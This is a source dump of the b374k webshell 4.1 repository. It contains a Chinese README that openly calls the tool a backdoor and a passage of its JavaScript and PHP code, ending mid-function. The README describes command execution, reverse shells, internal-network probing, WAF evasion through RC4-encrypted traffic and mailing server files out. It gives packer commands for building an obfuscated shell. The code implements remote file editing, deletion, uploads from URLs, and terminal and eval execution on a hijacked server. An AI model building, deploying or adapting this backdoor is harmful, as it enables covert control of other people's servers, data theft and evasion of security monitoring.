├── .gitignore
├── LICENSE.md
├── README.md
├── base
├── base.js
├── base.php
├── jsPacker.php
├── layout.php
├── localmain.js
├── localmain.php
├── main.js
├── main.php
├── resources.php
├── sortable.js
└── zepto.js
├── index.php
├── module
├── convert.js
├── convert.php
├── database.js
├── database.php
├── info.js
├── info.php
├── mail.js
├── mail.php
├── network.js
├── network.php
├── processes.js
└── processes.php
└── theme
├── bluebook.css
├── bright.css
├── bterm.css
├── darkblue.css
├── default.css
└── garuda.css
/.gitignore:
--------------------------------------------------------------------------------
1 | *.DS_Store
2 | t.php
3 | wp.php
4 | new.php
5 | *.zip
--------------------------------------------------------------------------------
/LICENSE.md:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2014 Aditya Kesuma
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy of
6 | this software and associated documentation files (the "Software"), to deal in
7 | the Software without restriction, including without limitation the rights to
8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
9 | the Software, and to permit persons to whom the Software is furnished to do so,
10 | subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
21 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # b374k webshell 4.1
2 |
3 | b374k webshell是一个非常实用的web管理工具(后门),所有的管理操作都通过HTTP协议进行。
4 |
5 | ## 特性 :
6 | * 文件管理 (查看、编辑、重命名、删除、上传、下载、打包、解压等)
7 | * 搜索文件夹、文件、文件内容 (支持正则)
8 | * 命令执行
9 | * 脚本执行 (php, perl, python, ruby, java, node.js, c)
10 | * 支持正向/反向 shell
11 | * 内附简单的发包功能(内网探测神器)
12 | * 多个数据库支持 (mysql, mssql, oracle, sqlite, postgresql 等 ODBC、 PDO 支持的数据库)
13 | * SQL可视化浏览器
14 | * 进程管理器(可列出/杀死)
15 | * 支持附件的邮件发送功能 (你可以将服务器上的文件作为附件发送)
16 | * 字符串转换功能
17 | * 所有的功能都继承于一个文件,无需安装
18 | * 通信过程简单加密,虽不能保证通信内容不被窃听,但可以绕过一些自动化WAF的检测
19 | * 支持 PHP > 4.3.3 || PHP 5
20 | * 支持手工指定编码,防止多语言下的乱码问题
21 |
22 | ## 需求 :
23 | * PHP version > 4.3.3 || PHP 5
24 | * 为了支持zepto.js v1.1.2,你需要使用现代浏览器访问b374k。你可以在官网查看 zepto.js 支持的浏览器: http://zeptojs.com/
25 | * 其他需求取决于你要用这个shell做什么事情
26 |
27 | ## 安装 :
28 |
29 | b374k shell是一个可装卸的模块化webshell,你需要进行一些简单的配置,才可以生成webshell文件。
30 |
31 | 下载b374k项目,你可以在命令行下运行index.php,查看其帮助文档:
32 |
33 | ```
34 | git clone https://github.com/phith0n/b374k.git
35 | cd b374k
36 | php -f index.php -- --help
37 | ```
38 |
39 | 命令行参数说明:
40 |
41 | ```
42 | $ php -f index.php
43 | b374k shell packer 0.4
44 |
45 | options :
46 | -o filename 指定生成文件名
47 | -p password 指定webshell密码
48 | -t theme 指定皮肤
49 | -m modules 指定模块,多个模块间用英文逗号分隔
50 | -s 是否清楚空白字符和注释
51 | -b 是否使用base64编码
52 | -z [no|gzdeflate|gzencode|gzcompress|rc4] 使用哪个压缩方式(需要开启 -b)
53 | -c [0-9] 压缩等级
54 | -l 列出所有可用的模块
55 | -k 列出所有可用的皮肤
56 | -u code 指定目标系统编码,如gb2312/utf-8等,默认utf-8
57 | ```
58 |
59 | 例子:
60 |
61 | ```
62 | php -f index.php -- -o myShell.php -p myPassword -s -b -z gzcompress -c 9
63 | ```
64 |
65 | 或者,你可以直接从浏览器访问index.php,使用图形化界面生成你的webshell:
66 |
67 | 
68 |
69 | 请不要在生成环境使用这个webshell,使用完成后删除所有文件。因为该webshell是一个后门,所以并没有安全防范措施。(特别是index.php,不要让他人访问到了,切记)
70 |
71 | ### 使用RC4加密webshell
72 |
73 | 如果你使用了RC4加密方法(-z rc4),那么在生成webshell的时候,请记下RC4 Cipher Key:
74 |
75 | 
76 |
77 | 在访问该shell的时候需要带上RC4-KEY头:
78 |
79 | 
80 |
81 | 否则将无法正常访问该shell。
82 |
83 | ## 开发文档 :
84 | 无
85 |
86 | ## 升级日志 :
87 |
88 | - 20160216 / Ajax通信使用RC4加密通道,避免受到WAF影响 / @phith0n
89 | - 20160216 / 压缩方法中加入RC4,可防止他人分析webshell / @phith0n
90 | - 20160420 / 增加编码选项,以后中文再也不会乱码啦~ / @phith0n
91 |
92 | ## 老版本 :
93 |
94 | - https://github.com/b374k/b374k
95 | - https://code.google.com/p/b374k-shell/
96 |
97 |
98 |
--------------------------------------------------------------------------------
/base/base.js:
--------------------------------------------------------------------------------
1 |
2 | function action(path, type){
3 | title = "Action";
4 | content = '';
5 | if(type=='file') content = "
";
6 | if(type=='dir') content = "";
7 | if(type=='dot') content = "";
8 | show_box(title, content);
9 | xpl_bind();
10 | }
11 |
12 | function navigate(path, showfiles){
13 | if(showfiles==null) showfiles = 'true';
14 | send_post({ cd:path, showfiles:showfiles }, function(res){
15 | if(res!='error'){
16 | splits = res.split('{[|b374k|]}');
17 | if(splits.length==3){
18 | $('#nav').html(splits[1]);
19 | if(showfiles=='true'){
20 | $('#explorer').html('');
21 | $('#explorer').html(splits[2]);
22 | sorttable.k($('#xplTable').get(0));
23 | }
24 | $('#terminalCwd').html(html_safe(get_cwd())+'>');
25 | xpl_bind();
26 | window_resize();
27 | }
28 | }
29 | });
30 | }
31 |
32 | function view(path, type, preserveTimestamp){
33 | if(preserveTimestamp==null) preserveTimestamp = 'true';
34 | send_post({ viewFile: path, viewType: type, preserveTimestamp:preserveTimestamp }, function(res){
35 | if(res!='error'){
36 | $('#explorer').html('');
37 | $('#explorer').html(res);
38 | xpl_bind();
39 | show_tab('explorer');
40 | if((type=='edit')||(type=='hex')){
41 | editResult = (type=='edit')? $('#editResult'):$('#editHexResult');
42 | if(editSuccess=='success'){
43 | editResult.html(' ( File saved )');
44 | }
45 | else if(editSuccess=='error'){
46 | editResult.html(' ( Failed to save file )');
47 | }
48 | editSuccess = '';
49 | }
50 | cbox_bind('editTbl');
51 | }
52 | });
53 | }
54 |
55 | function view_entry(el){
56 | if($(el).attr('data-path')!=''){
57 | entry = $(el).attr('data-path');
58 | $('#form').append("");
59 | $('#form').submit();
60 | $('#form').html('');
61 | }
62 | }
63 |
64 | function ren(path){
65 | title = "Rename";
66 | content = "";
67 | show_box(title, content);
68 | }
69 |
70 | function ren_go(){
71 | renameFile = $('.renameFile').val();
72 | renameFileTo = $('.renameFileTo').val();
73 | send_post({renameFile:renameFile, renameFileTo:renameFileTo}, function(res){
74 | if(res!='error'){
75 | navigate(res);
76 | $('.boxresult').html('Operation(s) succeeded');
77 | $('.renameFile').val($('.renameFileTo').val());
78 | }
79 | else $('.boxresult').html('Operation(s) failed');
80 | });
81 | }
82 |
83 | function newfolder(path){
84 | title = "New Folder";
85 | path = path + 'newfolder-' + time();
86 | content = "";
87 | show_box(title, content);
88 | }
89 |
90 | function newfolder_go(){
91 | newFolder = $('.newFolder').val();
92 | send_post({newFolder:newFolder}, function(res){
93 | if(res!='error'){
94 | navigate(res);
95 | $('.boxresult').html('Operation(s) succeeded');
96 | }
97 | else $('.boxresult').html('Operation(s) failed');
98 | });
99 | }
100 |
101 | function newfile(path){
102 | title = "New File";
103 | path = path + 'newfile-' + time();
104 | content = "";
105 | show_box(title, content);
106 | }
107 |
108 | function newfile_go(){
109 | newFile = $('.newFile').val();
110 | send_post({newFile:newFile}, function(res){
111 | if(res!='error'){
112 | view(newFile, 'edit');
113 | $('.boxresult').html('Operation(s) succeeded');
114 | }
115 | else $('.boxresult').html('Operation(s) failed');
116 | });
117 | }
118 |
119 | function viewfileorfolder(){
120 | title = "View File / Folder";
121 | content = "";
122 | show_box(title, content);
123 | }
124 |
125 | function viewfileorfolder_go(){
126 | entry = $('.viewFileorFolder').val();
127 | send_post({viewFileorFolder:entry}, function(res){
128 | if(res!='error'){
129 | if(res=='file'){
130 | view(entry, 'auto');
131 | show_tab('explorer');
132 | }
133 | else if(res=='folder'){
134 | navigate(entry);
135 | show_tab('explorer');
136 | }
137 | }
138 | });
139 | }
140 |
141 | function del(path){
142 | title = "Delete";
143 | content = "";
144 | show_box(title, content);
145 | }
146 |
147 | function delete_go(){
148 | path = $('.delete').val();
149 | send_post({delete:path}, function(res){
150 | if(res!='error'){
151 | navigate(res);
152 | $('.boxresult').html('Operation(s) succeeded');
153 | }
154 | else $('.boxresult').html('Operation(s) failed');
155 | });
156 | }
157 |
158 | function find(path){
159 | findfile = "";
160 | findfolder = "";
161 | $('#explorer').html("" +findfile+'
'+findfolder+'
');
162 | cbox_bind('xplUpload');
163 | }
164 |
165 | function find_go_file(){
166 | find_go('file');
167 | }
168 |
169 | function find_go_folder(){
170 | find_go('folder');
171 | }
172 |
173 | function find_go(findType){
174 | findPath = (findType=='file')? $('.findfilePath').val():$('.findFolderPath').val();
175 | findResult = (findType=='file')? $('.findfileResult'):$('.findResult');
176 |
177 | findName = (findType=='file')? $('.findfileFilename').val():$('.findFoldername').val();
178 | findNameRegex = (findType=='file')? $('.findfileFilenameRegex').hasClass('cBoxSelected').toString():$('.findFoldernameRegex').hasClass('cBoxSelected').toString();
179 | findNameInsensitive = (findType=='file')? $('.findfileFilenameInsensitive').hasClass('cBoxSelected').toString():$('.findFoldernameInsensitive').hasClass('cBoxSelected').toString();
180 |
181 | findContent = (findType=='file')? $('.findfileContains').val():"";
182 | findContentRegex = (findType=='file')? $('.findfileContainsRegex').hasClass('cBoxSelected').toString():"";
183 | findContentInsensitive = (findType=='file')? $('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():"";
184 |
185 | findReadable = (findType=='file')? $('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString();
186 | findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();
187 | findExecutable = (findType=='file')? $('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString();
188 |
189 | send_post(
190 | {
191 | findType:findType,
192 | findPath:findPath,
193 | findName:findName,
194 | findNameRegex:findNameRegex,
195 | findNameInsensitive:findNameInsensitive,
196 | findContent:findContent,
197 | findContentRegex:findContentRegex,
198 | findContentInsensitive:findContentInsensitive,
199 | findReadable:findReadable,
200 | findWritable:findWritable,
201 | findExecutable:findExecutable
202 | },
203 | function(res){
204 | if(res!='error'){
205 | findResult.html(res);
206 | }
207 | }
208 | );
209 | }
210 |
211 | function ul_go_comp(){
212 | ul_go('comp');
213 | }
214 |
215 | function ul_go_url(){
216 | ul_go('url');
217 | }
218 |
219 | function ul(path){
220 | ulcomputer = "Upload From Computer (+) |
---|
explorer | upload |
|
Or Drag and Drop files here |
|
";
221 | ulurl = "Upload From Url (+) |
---|
explorer | upload |
|
";
222 | content = ulcomputer + '
' + ulurl + "";
223 | $('#explorer').html(content);
224 | ul_add_comp();
225 | ul_add_url();
226 |
227 | $('#ulDragNDrop').on('dragenter', function(e){
228 | e.stopPropagation();
229 | e.preventDefault();
230 | });
231 |
232 | $('#ulDragNDrop').on('dragover', function(e){
233 | e.stopPropagation();
234 | e.preventDefault();
235 | });
236 |
237 | $('#ulDragNDrop').on('drop', function(e){
238 | e.stopPropagation();
239 | e.preventDefault();
240 |
241 | files = e.target.files || e.dataTransfer.files;
242 | ulResult = $('.ulDragNDropResult');
243 | ulResult.html('');
244 | $.each(files, function(i){
245 | if(this){
246 | ulType = 'DragNDrop';
247 | filename = this.name;
248 |
249 | var formData = new FormData();
250 | formData.append('ulFile', this);
251 | formData.append('ulSaveTo', get_cwd());
252 | formData.append('ulFilename', filename);
253 | formData.append('ulType', 'comp');
254 |
255 | entry = "> "+filename+"
";
256 | ulResult.append(entry);
257 |
258 | if(this.size<=0){
259 | $('.ulProgress'+ulType+i).html('( failed )');
260 | $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
261 | $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
262 | }
263 | else{
264 | ul_start(formData, ulType, i);
265 | }
266 | }
267 | });
268 | });
269 | }
270 |
271 | function ul_add_comp(path){
272 | path = html_safe($('.ul_path').val());
273 | $('.ulcompadd').append("File | |
Save to | |
Filename (Optional) | |
");
274 | }
275 |
276 | function ul_add_url(path){
277 | path = html_safe($('.ul_path').val());
278 | $('.ulurladd').append("File URL | |
Save to | |
Filename (Optional) | |
");
279 | }
280 |
281 | function ul_start(formData, ulType, i){
282 | loading_start();
283 | $.ajax({
284 | url: targeturl,
285 | type: 'POST',
286 | data: formData,
287 | cache: false,
288 | contentType: false,
289 | processData: false,
290 | xhr: function(){
291 | myXhr = $.ajaxSettings.xhr();
292 | if(myXhr.upload){
293 | myXhr.upload.addEventListener('progress', function(e){
294 | percent = Math.floor(e.loaded / e.total * 100);
295 | $('.ulProgress'+ulType+i).html('( '+ percent +'% )');
296 | }, false);
297 | }
298 | return myXhr;
299 | },
300 | success: function(res){
301 | if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){
302 | res = 'error';
303 | }
304 |
305 | if(res=='error'){
306 | $('.ulProgress'+ulType+i).html('( failed )');
307 | }
308 | else{
309 | $('.ulRes'+ulType+i).html(res);
310 | }
311 | loading_stop();
312 | },
313 | error: function(){
314 | loading_stop();
315 | $('.ulProgress'+ulType+i).html('( failed )');
316 | $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
317 | $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
318 | }
319 | });
320 | }
321 |
322 | function ul_go(ulType){
323 | ulFile = (ulType=='comp')? $('.ulFileComp'):$('.ulFileUrl');
324 | ulResult = (ulType=='comp')? $('.ulCompResult'):$('.ulUrlResult');
325 | ulResult.html('');
326 |
327 | ulFile.each(function(i){
328 | if(((ulType=='comp')&&this.files[0])||((ulType=='url')&&(this.value!=''))){
329 | file = (ulType=='comp')? this.files[0]: this.value;
330 | filename = (ulType=='comp')? file.name: file.substring(file.lastIndexOf('/')+1);
331 |
332 | ulSaveTo = (ulType=='comp')? $('.ulSaveToComp')[i].value:$('.ulSaveToUrl')[i].value;
333 | ulFilename = (ulType=='comp')? $('.ulFilenameComp')[i].value:$('.ulFilenameUrl')[i].value;
334 |
335 | var formData = new FormData();
336 | formData.append('ulFile', file);
337 | formData.append('ulSaveTo', ulSaveTo);
338 | formData.append('ulFilename', ulFilename);
339 | formData.append('ulType', ulType);
340 |
341 | entry = "> "+filename+"
";
342 | ulResult.append(entry);
343 |
344 | check = true;
345 | if(ulType=='comp'){
346 | check = (file.size<=0);
347 | }
348 | else check = (file=="");
349 |
350 | if(check){
351 | $('.ulProgress'+ulType+i).html('( failed )');
352 | $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
353 | $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
354 | }
355 | else{
356 | ul_start(formData, ulType, i);
357 | }
358 | }
359 | });
360 | }
361 |
362 | function trap_ctrl_enter(el, e, callback){
363 | if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
364 | if(callback!=null) window[callback]();
365 | }
366 | fix_tabchar(el, e);
367 | }
368 |
369 | function edit_save_raw(){
370 | edit_save('edit');
371 | }
372 |
373 | function edit_save_hex(){
374 | edit_save('hex');
375 | }
376 |
377 | function edit_save(editType){
378 | editFilename = $('#editFilename').val();
379 | editInput = $('#editInput').val();
380 | editSuccess = false;
381 | preserveTimestamp = 'false';
382 | if($('.cBox').hasClass('cBoxSelected')) preserveTimestamp = 'true';
383 | send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp},
384 | function(res){
385 | if(res!='error'){
386 | editSuccess = 'success';
387 | view(editFilename, editType, preserveTimestamp);
388 | }
389 | else editSuccess = 'error';
390 | }
391 | );
392 | }
393 |
394 |
395 |
396 | function mass_act(type){
397 | buffer = get_all_cbox_selected('xplTable', 'xpl_href');
398 |
399 | if((type=='cut')||(type=='copy')){
400 | localStorage.setItem('bufferLength', buffer.length);
401 | localStorage.setItem('bufferAction', type);
402 | $.each(buffer,function(i,v){
403 | localStorage.setItem('buffer_'+i, v);
404 | });
405 | }
406 | else if(type=='paste'){
407 | bufferLength = localStorage.getItem('bufferLength');
408 | bufferAction = localStorage.getItem('bufferAction');
409 | if(bufferLength>0){
410 | massBuffer = '';
411 | for(var i=0;i"+title+" here | |
"+title+" |
";
422 | show_box(ucfirst(title), content);
423 | }
424 |
425 | }
426 | else if((type=='extract (tar)')||(type=='extract (tar.gz)')||(type=='extract (zip)')){
427 | if(type=='extract (tar)') arcType = 'untar';
428 | else if(type=='extract (tar.gz)') arcType = 'untargz';
429 | else if(type=='extract (zip)') arcType = 'unzip';
430 |
431 | if(buffer.length>0){
432 | massBuffer = '';
433 | $.each(buffer,function(i,v){
434 | massBuffer += v + '\n';
435 | });
436 | massBuffer = $.trim(massBuffer);
437 | title = type;
438 |
439 | content = "";
440 | show_box(ucfirst(title), content);
441 | }
442 | }
443 | else if((type=='compress (tar)')||(type=='compress (tar.gz)')||(type=='compress (zip)')){
444 | date = new Date();
445 | rand = date.getTime();
446 | if(type=='compress (tar)'){
447 | arcType = 'tar';
448 | arcFilename = rand+'.tar';
449 | }
450 | else if(type=='compress (tar.gz)'){
451 | arcType = 'targz';
452 | arcFilename = rand+'.tar.gz';
453 | }
454 | else if(type=='compress (zip)'){
455 | arcType = 'zip';
456 | arcFilename = rand+'.zip';
457 | }
458 |
459 | if(buffer.length>0){
460 | massBuffer = '';
461 | $.each(buffer,function(i,v){
462 | massBuffer += v + '\n';
463 | });
464 | massBuffer = $.trim(massBuffer);
465 | title = type;
466 |
467 | content = "";
468 | show_box(ucfirst(title), content);
469 | }
470 | }
471 | else if(type!=''){
472 | if(buffer.length>0){
473 | massBuffer = '';
474 | $.each(buffer,function(i,v){
475 | massBuffer += v + '\n';
476 | });
477 | massBuffer = $.trim(massBuffer);
478 | title = type;
479 | line = '';
480 | if(type=='chmod') line = "chmod | |
";
481 | else if(type=='chown') line = "chown | |
";
482 | else if(type=='touch'){
483 | var now = new Date();
484 | line = "touch | |
";
485 | }
486 |
487 | content = "";
488 | show_box(ucfirst(title), content);
489 | }
490 | }
491 |
492 | $('.cBoxSelected').removeClass('cBoxSelected');
493 | xpl_update_status();
494 | }
495 |
496 | function mass_act_go_tar(){
497 | mass_act_go('tar');
498 | }
499 |
500 | function mass_act_go_targz(){
501 | mass_act_go('targz');
502 | }
503 |
504 | function mass_act_go_zip(){
505 | mass_act_go('zip');
506 | }
507 |
508 | function mass_act_go_untar(){
509 | mass_act_go('untar');
510 | }
511 |
512 | function mass_act_go_untargz(){
513 | mass_act_go('untargz');
514 | }
515 |
516 | function mass_act_go_unzip(){
517 | mass_act_go('unzip');
518 | }
519 |
520 | function mass_act_go_paste(){
521 | mass_act_go('paste');
522 | }
523 |
524 | function mass_act_go_chmod(){
525 | mass_act_go('chmod');
526 | }
527 |
528 | function mass_act_go_chown(){
529 | mass_act_go('chown');
530 | }
531 |
532 | function mass_act_go_touch(){
533 | mass_act_go('touch');
534 | }
535 |
536 | function mass_act_go(massType){
537 | massBuffer = $.trim($('.massBuffer').val());
538 | massPath = get_cwd();
539 | massValue = '';
540 | if(massType=='paste'){
541 | bufferLength = localStorage.getItem('bufferLength');
542 | bufferAction = localStorage.getItem('bufferAction');
543 | if(bufferLength>0){
544 | massBuffer = '';
545 | for(var i=0;i");
671 | $('#form').submit();
672 | $('#form').html('');
673 | hide_box();
674 | });
675 |
676 | $('.ul').off('click');
677 | $('.ul').on('click', function(e){
678 | path = xpl_href($(this));
679 | navigate(path, false);
680 | path = html_safe(path);
681 | ul(path);
682 | hide_box();
683 | });
684 |
685 | $('.find').off('click');
686 | $('.find').on('click', function(e){
687 | path = xpl_href($(this));
688 | navigate(path, false);
689 | path = html_safe(path);
690 | find(path);
691 | hide_box();
692 | });
693 |
694 | $('#massAction').off('click');
695 | $('#massAction').on('change', function(e){
696 | type = $('#massAction').val();
697 | mass_act(type);
698 | $('#massAction').val('Action');
699 | });
700 |
701 | cbox_bind('xplTable','xpl_update_status');
702 | }
703 |
704 | function xpl_href(el){
705 | return el.parent().parent().attr('data-path');
706 | }
707 |
708 | function multimedia(path){
709 | var a = $('video').get(0);
710 | send_post({multimedia:path}, function(res){
711 | a.src = res;
712 | });
713 | hide_box();
714 | }
715 |
716 | $('#terminalInput').on('keydown', function(e){
717 | if(e.keyCode==13){
718 | cmd = $('#terminalInput').val();
719 | terminalHistory.push(cmd);
720 | terminalHistoryPos = terminalHistory.length;
721 | if(cmd=='clear'||cmd=='cls'){
722 | $('#terminalOutput').html('');
723 | }
724 | else if((path = cmd.match(/cd(.*)/i)) || (path = cmd.match(/^([a-z]:)$/i))){
725 | path = $.trim(path[1]);
726 | navigate(path);
727 | }
728 | else if(cmd!=''){
729 | send_post({ terminalInput: cmd }, function(res){
730 | cwd = html_safe(get_cwd());
731 | res = ''+cwd+'>'+html_safe(cmd)+ '\n' + res+'\n';
732 | $('#terminalOutput').append(res);
733 | bottom = $(document).height()-$(window).height();
734 | $(window).scrollTop(bottom);
735 | });
736 | }
737 | $('#terminalInput').val('');
738 | setTimeout("$('#terminalInput').focus()",100);
739 | }
740 | else if(e.keyCode==38){
741 | if(terminalHistoryPos>0){
742 | terminalHistoryPos--;
743 | $('#terminalInput').val(terminalHistory[terminalHistoryPos]);
744 | if(terminalHistoryPos<0) terminalHistoryPos = 0;
745 | }
746 | }
747 | else if(e.keyCode==40){
748 | if(terminalHistoryPosterminalHistory.length) terminalHistoryPos = terminalHistory.length;
752 | }
753 | }
754 | fix_tabchar(this, e);
755 | });
756 |
757 | function eval_go(){
758 | evalType = $('#evalType').val();
759 | evalInput = $('#evalInput').val();
760 | evalOptions = $('#evalOptions').val();
761 | evalArguments = $('#evalArguments').val();
762 |
763 | if(evalOptions=='Options/Switches') evalOptions = '';
764 | if(evalArguments=='Arguments') evalArguments = '';
765 |
766 | if($.trim(evalInput)!=''){
767 | send_post({ evalInput:evalInput, evalType:evalType, evalOptions:evalOptions, evalArguments:evalArguments },
768 | function(res){
769 | if(res!='error'){
770 | splits = res.split('{[|b374k|]}');
771 | if(splits.length==2){
772 | output = splits[0]+"
"+splits[1];
773 | $('#evalOutput').html(output);
774 | }
775 | else{
776 | $('#evalOutput').html(res);
777 | }
778 | }
779 | }
780 | );
781 | }
782 | }
783 |
784 | function eval_init(){
785 | if((evalSupported = localStorage.getItem('evalSupported'))){
786 | eval_bind();
787 | output("eval : "+evalSupported);
788 | evalReady = true;
789 | }
790 | else{
791 | send_post({evalGetSupported:"evalGetSupported"}, function(res){
792 | evalReady = true;
793 | if(res!="error"){
794 | localStorage.setItem('evalSupported', res);
795 | evalSupported = res;
796 | eval_bind();
797 | output("eval : "+evalSupported);
798 | }
799 | });
800 | }
801 | }
802 |
803 | function eval_bind(){
804 | if((evalSupported!=null)&&(evalSupported!='')){
805 | splits = evalSupported.split(",");
806 | $.each(splits, function(i, k){
807 | $('#evalType').append("");
808 | });
809 | }
810 | $('#evalType').on('change', function(e){
811 | if($('#evalType').val()=='php'){
812 | $('#evalAdditional').hide();
813 | }
814 | else{
815 | $('#evalAdditional').show();
816 | }
817 | });
818 | $('#evalOptions').on('focus', function(e){
819 | options = $('#evalOptions');
820 | if(options.val()=='Options/Switches') options.val('');
821 | });
822 | $('#evalOptions').on('blur', function(e){
823 | options = $('#evalOptions');
824 | if($.trim(options.val())=='') options.val('Options/Switches');
825 | });
826 | $('#evalArguments').on('focus', function(e){
827 | args = $('#evalArguments');
828 | if(args.val()=='Arguments') args.val('');
829 | });
830 | $('#evalArguments').on('blur', function(e){
831 | args = $('#evalArguments');
832 | if($.trim(args.val())=='') args.val('Arguments');
833 | });
834 |
835 | $('#evalInput').on('keydown', function(e){
836 | if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
837 | eval_go();
838 | }
839 | fix_tabchar(this, e);
840 | });
841 | }
--------------------------------------------------------------------------------
/base/base.php:
--------------------------------------------------------------------------------
1 | ";
43 |
44 |
45 | $GLOBALS['module']['eval']['id'] = "eval";
46 | $GLOBALS['module']['eval']['title'] = "Eval";
47 | $GLOBALS['module']['eval']['js_ontabselected'] = "
48 | if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();";
49 | $GLOBALS['module']['eval']['content'] = "
50 |
76 | ";
77 |
78 | $res = "";
79 | if(isset($p['cd'])){
80 | $path = $p['cd'];
81 | if(trim($path)=='') $path = dirname(__FILE__);
82 |
83 | $path = realpath($path);
84 | if(is_file($path)) $path = dirname($path);
85 | if(is_dir($path)){
86 | chdir($path);
87 | $path = $path.DIRECTORY_SEPARATOR;
88 | setcookie("cwd", $path);
89 | $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}";
90 | if(isset($p['showfiles'])&&($p['showfiles']=='true')){
91 | $res .= show_all_files($path);
92 | }
93 | }
94 | else $res = "error";
95 | output($res);
96 | }
97 | elseif(isset($p['viewFile']) && isset($p['viewType'])){
98 | $path = trim($p['viewFile']);
99 | $type = trim($p['viewType']);
100 | $preserveTimestamp = trim($p['preserveTimestamp']);
101 | if(is_file($path)){
102 | $res = view_file($path, $type, $preserveTimestamp);
103 | }
104 | else $res = "error";
105 | output($res);
106 | }
107 | elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){
108 | $renameFile = trim($p['renameFile']);
109 | $renameFileTo = trim($p['renameFileTo']);
110 | if(file_exists($renameFile)){
111 | if(rename($renameFile, $renameFileTo)){
112 | $res = dirname($renameFileTo);
113 | }
114 | else $res = "error";
115 | }
116 | else $res = "error";
117 | output($res);
118 | }
119 | elseif(isset($p['newFolder'])){
120 | $newFolder = trim($p['newFolder']);
121 | if(mkdir($newFolder)){
122 | $res = dirname($newFolder);
123 | }
124 | else $res = "error";
125 | output($res);
126 | }
127 | elseif(isset($p['newFile'])){
128 | $newFile = trim($p['newFile']);
129 | if(touch($newFile)){
130 | $res = dirname($newFile);
131 | }
132 | else $res = "error";
133 | output($res);
134 | }
135 | elseif(isset($p['delete'])){
136 | $path = trim($p['delete']);
137 | $dirname = dirname($path);
138 | if(is_file($path)){
139 | if(unlink($path)) $res = $dirname;
140 | }
141 | elseif(is_dir($path)){
142 | if(rmdirs($path)>0) $res = $dirname;
143 | }
144 | else $res = "error";
145 | if(file_exists($path)) $res = "error";
146 | output($res);
147 | }
148 | elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){
149 | $editFilename = trim($p['editFilename']);
150 | $editInput = trim($p['editInput']);
151 | $editType = trim($p['editType']);
152 | $preserveTimestamp = trim($p['preserveTimestamp']);
153 | $time = filemtime($editFilename);
154 | if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput));
155 | if(write_file($editFilename, $editInput)){
156 | $res = $editFilename;
157 | if($preserveTimestamp=='true') touch($editFilename, $time);
158 | }
159 | else $res = "error";
160 | output($res);
161 | }
162 | elseif(isset($p['findType'])){
163 | $findType = trim($p['findType']);
164 | $findPath = trim($p['findPath']);
165 | $findName = trim($p['findName']);
166 | $findNameRegex = trim($p['findNameRegex']);
167 | $findNameInsensitive = trim($p['findNameInsensitive']);
168 | $findContent = trim($p['findContent']);
169 | $findContentRegex = trim($p['findContentRegex']);
170 | $findContentInsensitive = trim($p['findContentInsensitive']);
171 | $findReadable = trim($p['findReadable']);
172 | $findWritable = trim($p['findWritable']);
173 | $findExecutable = trim($p['findExecutable']);
174 |
175 | $candidate = get_all_files($findPath);
176 | if($findType=='file') $candidate = array_filter($candidate, "is_file");
177 | elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir");
178 | else $res = "error";
179 |
180 | foreach($candidate as $k){
181 | if(($findType=="file")||($findType=="folder")){
182 | if(!empty($findName)){
183 | if($findNameRegex=="true"){
184 | $case = ($findNameInsensitive=="true")? "i":"";
185 | if(!preg_match("/".$findName."/".$case, basename($k))){
186 | $candidate = array_diff($candidate, array($k));
187 | }
188 | }
189 | else{
190 | $check = false;
191 | if($findNameInsensitive=="true"){
192 | $check = strpos(strtolower(basename($k)), strtolower($findName))===false;
193 | }
194 | else{
195 | $check = strpos(basename($k), $findName)===false;
196 | }
197 |
198 | if($check){
199 | $candidate = array_diff($candidate, array($k));
200 | }
201 | }
202 | }
203 | }
204 | if($findType=="file"){
205 | if(!empty($findContent)){
206 | $content = read_file($k);
207 | if($findContentRegex=="true"){
208 | $case = ($findContentInsensitive=="true")? "i":"";
209 | if(!preg_match("/".$findContent."/".$case, $content)){
210 | $candidate = array_diff($candidate, array($k));
211 | }
212 | }
213 | else{
214 | $check = false;
215 | if($findContentInsensitive=="true"){
216 | $check = strpos(strtolower($content), strtolower($findContent))===false;
217 | }
218 | else{
219 | $check = strpos($content, $findContent)===false;
220 | }
221 | if($check){
